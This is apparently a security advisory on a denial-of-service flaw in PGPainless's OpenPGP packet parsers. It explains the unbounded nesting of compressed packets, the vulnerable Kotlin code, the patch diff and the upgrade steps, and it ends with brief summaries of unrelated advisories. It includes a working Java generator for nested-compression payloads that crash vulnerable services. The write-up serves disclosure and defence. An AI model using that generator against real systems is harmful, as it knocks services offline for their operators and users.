Nov 19, 2026·8 min read·0 visits
PGPainless fails to enforce packet nesting depth limits in MessageInspector and InlineDetachImpl. Processing deeply nested OpenPGP compressed data packets causes recursive decompression, leading to thread starvation and OutOfMemoryError crashes. Upgrade to version 1.7.8 or 2.0.4.
A denial-of-service vulnerability (CWE-400) exists in PGPainless versions prior to 1.7.8 and 2.0.x prior to 2.0.4 within the MessageInspector and InlineDetachImpl components. These components manually iterate over OpenPGP packet streams without enforcing the global 16-layer maximum nesting limit (MAX_LAYER_DEPTH). An unauthenticated remote attacker can supply a specially crafted OpenPGP message containing deeply nested PGPCompressedData packets to trigger unbounded recursive decompression, resulting in CPU starvation and Java Virtual Machine (JVM) heap exhaustion.
PGPainless is a Java and Kotlin library that provides a high-level API over Bouncy Castle for OpenPGP operations and implements the Stateless OpenPGP Protocol (SOP). It is deployed in JVM applications, email processing gateways, key managers, and command-line utilities to handle encryption, decryption, signing, signature verification, and packet inspection.
In OpenPGP (defined by RFC 4880 and RFC 9580), messages are constructed as sequences of packets that can be nested within one another. Specifically, a Compressed Data packet (PGPCompressedData) encapsulates an inner OpenPGP byte stream that can contain additional compressed, encrypted, or signed data packets. To prevent resource exhaustion from deeply nested structures, OpenPGP parsers must enforce a strict recursion limit when unwrapping layered messages.
While PGPainless defines a global depth limit of 16 layers (MessageMetadata.Layer.Companion.MAX_LAYER_DEPTH = 16) and enforces it within its primary decryption and verification stream (OpenPgpMessageInputStream), two components bypassed this defensive mechanism. Both MessageInspector in pgpainless-core and InlineDetachImpl in pgpainless-sop implement custom packet iteration loops using Bouncy Castle's PGPObjectFactory without tracking or bounding packet nesting depth.
Tracked as CVE-2026-76088 (GHSA-cvx8-9ff6-54xq) and classified under CWE-400 (Uncontrolled Resource Consumption), this security boundary bypass allows an unauthenticated attacker to submit an OpenPGP message with an arbitrary number of nested PGPCompressedData layers. When an application inspects the message metadata or detaches an inline signature, the parser descends indefinitely into the nested compression streams, exhausting CPU cycles and JVM heap memory.
The root cause of CVE-2026-76088 is an inconsistent security control implementation across packet parsing routines. In standard decryption and verification flows, PGPainless processes untrusted byte streams through OpenPgpMessageInputStream, which tracks each encapsulating packet layer and terminates parsing if the nesting depth exceeds MAX_LAYER_DEPTH (16).
However, MessageInspector.kt (used to pre-scan OpenPGP messages and extract encryption key identifiers or passphrase requirements without full decryption) and InlineDetachImpl.kt (used to separate signatures from inline-signed messages in SOP pipelines) do not utilize OpenPgpMessageInputStream. Instead, both classes instantiate a Bouncy Castle PGPObjectFactory directly on the input stream and iterate through packets in a while loop.
During iteration, when the while loop encounters a PGPCompressedData object, it calls PGPUtil.getDecoderStream(next.dataStream) to initialize a decompression stream (supporting algorithms such as ZIP, ZLIB, or BZIP2). It then instantiates a new PGPObjectFactory wrapping that decompressed stream and overwrites the active objectFactory variable reference.
Because the loop condition (while (objectFactory.nextObject().also { n = it } != null)) evaluates against the newly reassigned objectFactory, the parser immediately transitions into reading the inner stream on the next iteration. Without a local counter to track how many times objectFactory has been reassigned to an inner compressed packet, the loop processes arbitrary levels of nesting.
Each layer of descent allocates new decompressor instances and internal read buffers on the JVM heap. When combined with high-compression payloads across dozens or hundreds of nested layers, this unbounded iteration causes rapid heap exhaustion (java.lang.OutOfMemoryError) and locks execution threads in decompression routines.
Prior to the fix, MessageInspector.kt in pgpainless-core iterated over packet streams inside determineEncryptionInfo() and reassigned objectFactory whenever a PGPCompressedData packet was encountered. The following snippet illustrates the vulnerable logic in MessageInspector.kt:
// Vulnerable code in MessageInspector.kt
var objectFactory = api.implementation.pgpObjectFactory(inputStream)
var n: Any?
while (objectFactory.nextObject().also { n = it } != null) {
when (val next = n!!) {
is PGPOnePassSignatureList -> { /* Process one-pass signatures */ }
is PGPEncryptedDataList -> {
/* Extract encryption key IDs and return EncryptionInfo */
return EncryptionInfo(keyIdentifiers, isPassphraseEncrypted, false)
}
is PGPCompressedData -> {
// VULNERABILITY: Unbounded reassignment of objectFactory without tracking depth
objectFactory =
OpenPGPImplementation.getInstance()
.pgpObjectFactory(PGPUtil.getDecoderStream(next.dataStream))
}
}
}An identical structural flaw existed in InlineDetachImpl.kt within pgpainless-sop. When extracting detached signatures from binary OpenPGP inputs, the parser unwrapped PGPCompressedData packets without maintaining a depth counter:
// Vulnerable code in InlineDetachImpl.kt
var objectFactory = api.implementation.pgpObjectFactory(pgpIn)
var next: Any?
while (objectFactory.nextObject().also { next = it } != null) {
if (next is PGPOnePassSignatureList) { /* Handle signature list */ }
if (next is PGPCompressedData) {
// VULNERABILITY: Unbounded descent into compressed data stream
try {
objectFactory =
OpenPGPImplementation.getInstance()
.pgpObjectFactory(PGPUtil.getDecoderStream(next.dataStream))
} catch (e: PGPException) {
throw RuntimeException(e)
}
}
}Upstream commit 94572773f62e313ae905c48314de44efcf82420e (and backport commit 7662f084595945f1000f3f2e1bc4e15302194dec for the 1.7.x branch) resolves the vulnerability by importing MAX_LAYER_DEPTH from MessageMetadata.Layer.Companion and maintaining a nestingDepth counter in both loops.
--- a/pgpainless-core/src/main/kotlin/org/pgpainless/decryption_verification/MessageInspector.kt
+++ b/pgpainless-core/src/main/kotlin/org/pgpainless/decryption_verification/MessageInspector.kt
@@ -10,6 +10,8 @@ import org.bouncycastle.bcpg.KeyIdentifier
import org.bouncycastle.openpgp.*
import org.bouncycastle.openpgp.api.OpenPGPImplementation
import org.pgpainless.PGPainless
+import org.pgpainless.decryption_verification.MessageMetadata.Layer.Companion.MAX_LAYER_DEPTH
+import org.pgpainless.exception.MalformedOpenPgpMessageException
import org.pgpainless.util.ArmorUtils
@@ -71,6 +73,7 @@ class MessageInspector(val api: PGPainless = PGPainless.getInstance()) {
var objectFactory = api.implementation.pgpObjectFactory(inputStream)
var n: Any?
+ var nestingDepth: Int = 0 // Track compressed packet descent depth
while (objectFactory.nextObject().also { n = it } != null) {
when (val next = n!!) {
is PGPOnePassSignatureList -> {
@@ -93,6 +96,13 @@ class MessageInspector(val api: PGPainless = PGPainless.getInstance()) {
return EncryptionInfo(keyIdentifiers, isPassphraseEncrypted, false)
}
is PGPCompressedData -> {
+ // Guard packet nesting depth against MAX_LAYER_DEPTH (16)
+ nestingDepth++
+ if (nestingDepth > MAX_LAYER_DEPTH) {
+ throw MalformedOpenPgpMessageException(
+ "Maximum packet nesting depth ($MAX_LAYER_DEPTH) exceeded.")
+ }
+
objectFactory =
OpenPGPImplementation.getInstance()
.pgpObjectFactory(PGPUtil.getDecoderStream(next.dataStream))With the patch applied, each encountered PGPCompressedData packet increments nestingDepth. As soon as nestingDepth exceeds MAX_LAYER_DEPTH (16), the parser aborts stream decompression and throws a MalformedOpenPgpMessageException. The fix accurately enforces layer depth limits, though developers should note that nestingDepth only bounds the number of packet layers and does not restrict the total decompressed byte volume of a single high-ratio compressed packet within those 16 layers.
Exploiting CVE-2026-76088 requires no authentication or cryptographic material (AV:N/AC:L/PR:N/UI:N). The sole prerequisite is that the target application exposes an interface that passes untrusted input to either MessageInspector (such as calling MessageInspector.determineEncryptionInfo()) or InlineDetachImpl (such as invoking the sop inline-detach command or API).
Common attack surfaces include web services or microservices that accept uploaded PGP files for signature splitting, automated email gateways that inspect incoming PGP messages to determine recipient key IDs prior to queuing, and key management systems that parse packet headers.
An attacker can construct a malicious OpenPGP message using Bouncy Castle by wrapping a small PGPLiteralData packet inside multiple layers of PGPCompressedData packets in a loop:
import org.bouncycastle.bcpg.CompressionAlgorithmTags;
import org.bouncycastle.openpgp.PGPCompressedDataGenerator;
import org.bouncycastle.openpgp.PGPLiteralData;
import org.bouncycastle.openpgp.PGPLiteralDataGenerator;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Date;
public class NestedPayloadGenerator {
public static byte[] generateNestedCompressedPgp(int layers) throws Exception {
ByteArrayOutputStream currentStream = new ByteArrayOutputStream();
PGPLiteralDataGenerator litGen = new PGPLiteralDataGenerator();
OutputStream litOut = litGen.open(
currentStream, PGPLiteralData.BINARY, "payload", new Date(), new byte[1024]
);
litOut.write("A".repeat(1024).getBytes(StandardCharsets.UTF_8));
litOut.close();
byte[] currentBytes = currentStream.toByteArray();
// Wrap the literal data packet in N layers of PGPCompressedData (e.g., layers > 16)
for (int i = 0; i < layers; i++) {
ByteArrayOutputStream nextStream = new ByteArrayOutputStream();
PGPCompressedDataGenerator compGen = new PGPCompressedDataGenerator(CompressionAlgorithmTags.ZIP);
OutputStream compOut = compGen.open(nextStream);
compOut.write(currentBytes);
compOut.close();
currentBytes = nextStream.toByteArray();
}
return currentBytes;
}
}When a payload generated with hundreds of layers (or combined with multi-megabyte zero-filled streams at each layer) is submitted to a vulnerable endpoint, the application fails to abort at layer 16. The calling worker thread remains blocked in recursive decompression loops until JVM heap memory is exhausted.
CVE-2026-76088 is scored at CVSS v3.1 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability exclusively impacts system availability; it provides no primitive for reading sensitive memory, recovering private cryptographic keys, or forging OpenPGP signatures (C:N/I:N).
In multi-threaded server architectures (such as Spring Boot, Ktor, or Jakarta EE applications utilizing PGPainless), concurrent requests containing deeply nested PGPCompressedData structures will occupy worker threads with CPU-bound decompression routines. This leads to thread pool starvation and prevents the application from serving legitimate traffic.
Furthermore, because each decompression layer instantiates new stream wrappers and internal decompression buffers in memory, deeply nested or high-ratio compressed payloads rapidly deplete the JVM heap. When heap memory is exhausted, the JVM throws java.lang.OutOfMemoryError, which frequently terminates the entire Java process unless specifically isolated and caught by a supervisory process.
As of disclosure, CVE-2026-76088 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active exploitation in the wild has been reported.
Operators and developers using PGPainless should upgrade both pgpainless-core and pgpainless-sop to the patched versions immediately. Users on the 1.7.x release branch must upgrade to version 1.7.8 or later, while users on the 2.0.x release branch must upgrade to version 2.0.4 or later.
For Gradle projects (build.gradle.kts), update the dependency declarations as follows:
dependencies {
implementation("org.pgpainless:pgpainless-core:2.0.4")
implementation("org.pgpainless:pgpainless-sop:2.0.4")
}For Apache Maven projects (pom.xml), update the version coordinates:
<dependency>
<groupId>org.pgpainless</groupId>
<artifactId>pgpainless-core</artifactId>
<version>2.0.4</version>
</dependency>
<dependency>
<groupId>org.pgpainless</groupId>
<artifactId>pgpainless-sop</artifactId>
<version>2.0.4</version>
</dependency>> [!NOTE]
> Enforcing MAX_LAYER_DEPTH prevents unbounded recursion across nested packets, but it does not bound the total decompressed byte output of a single compressed layer. As a defense-in-depth measure against standard high-ratio decompression bombs, applications should wrap untrusted input and output streams in size-limiting streams (such as Apache Commons IO BoundedInputStream) and enforce execution timeouts on parsing tasks.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
pgpainless-core pgpainless | < 1.7.8 | 1.7.8 |
pgpainless-core pgpainless | >= 2.0.0, < 2.0.4 | 2.0.4 |
pgpainless-sop pgpainless | < 1.7.8 | 1.7.8 |
pgpainless-sop pgpainless | >= 2.0.0, < 2.0.4 | 2.0.4 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-76088 (GHSA-cvx8-9ff6-54xq) |
| CWE ID | CWE-400: Uncontrolled Resource Consumption |
| CVSS v3.1 Score | 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Attack Vector | Network / Remote, Unauthenticated |
| Affected Components | MessageInspector (pgpainless-core), InlineDetachImpl (pgpainless-sop) |
| Impact | Denial of Service via CPU Exhaustion and JVM OutOfMemoryError |
| Patched Versions | 1.7.8 and 2.0.4 |
| CISA KEV Status | Not Listed |
The product does not properly control the allocation or consumption of a limited resource (such as memory or CPU time), allowing an untrusted actor to consume more resources than intended.
An authorization bypass and broken object-level access control vulnerability exists in djangocms-versioning prior to version 2.6.1. The check_discard and check_edit_redirect condition pipelines on the Version model omitted the user_can_change permission predicate. Because the corresponding administrative views retrieve target versions directly by their URL primary key and depend entirely on these condition pipelines for object-level access control, authenticated staff users without per-object change permissions can permanently delete draft versions or spawn new draft versions from published content.
A missing authorization vulnerability exists in django-filer versions prior to 3.5.0 when the optional per-folder permission system (FILER_ENABLE_PERMISSIONS) is enabled. The bulk delete admin action (delete_files_or_folders) verifies global Django model-level deletion permissions but fails to enforce object-level FolderPermission edit checks. Consequently, an authenticated staff user holding model-level delete rights can delete files, folders, and directory trees from folders where their access has been explicitly restricted to read-only via FolderPermission.
CVE-2026-75506 (GHSA-vc6p-m6vx-6cwq) is a second-order OS command injection vulnerability in OliveTin affecting versions 3000.0.0 prior to 3000.18.1. The post-execution hook mechanism, shellAfterCompleted, interpolates runtime execution outputs and username variables directly into a shell command string passed to sh -c without validation. When an action emits untrusted output containing shell metacharacters, those metacharacters break out of the intended syntax and execute arbitrary OS commands under the context of the OliveTin service process.
CVE-2026-71481 (GHSA-82w8-65qw-gch6) is a cryptographic signature verification bypass (CWE-347) in the altcha-org/altcha PHP library affecting versions 2.0.0 through 2.0.2. Due to a flawed conditional check in the verifySolution method, omitting the signature field from a submitted challenge payload causes the server to skip HMAC verification entirely, even when a server-side HMAC secret is configured. Unauthenticated remote attackers can exploit this flaw to self-issue low-difficulty Proof-of-Work challenges, solve them with trivial effort, and bypass CAPTCHA controls.
CVE-2026-61618 (GHSA-265x-v3qf-ff6p) is an improper input validation vulnerability (CWE-20) in Axiom Crypto's snark-verifier library prior to version 0.2.5. The library decodes KZG accumulator public-instance limbs without enforcing canonical bit-width bounds prior to elliptic curve coordinate reconstruction. In the Ethereum Virtual Machine (EVM) loader path, the generated Yul bytecode validates that reconstructed affine coordinates lie on the elliptic curve, but fails to verify that the constituent limbs respect their allocated bit-widths, allowing non-canonical proof representations. In the native Rust execution path, accumulator decoding relies on unchecked assertions and unwraps, allowing malformed public instances to trigger an unhandled process panic.
An OS command injection vulnerability (CWE-78) exists in the @augment-vir/node package prior to version 31.73.5. The grep() utility function builds a shell command string by interpolating caller-supplied search patterns inside double quotes and executes the string through bash via runShellCommand(). Because bash evaluates command substitution expressions inside double-quoted strings, an attacker controlling the search pattern input can execute arbitrary OS commands with the privileges of the Node.js runtime.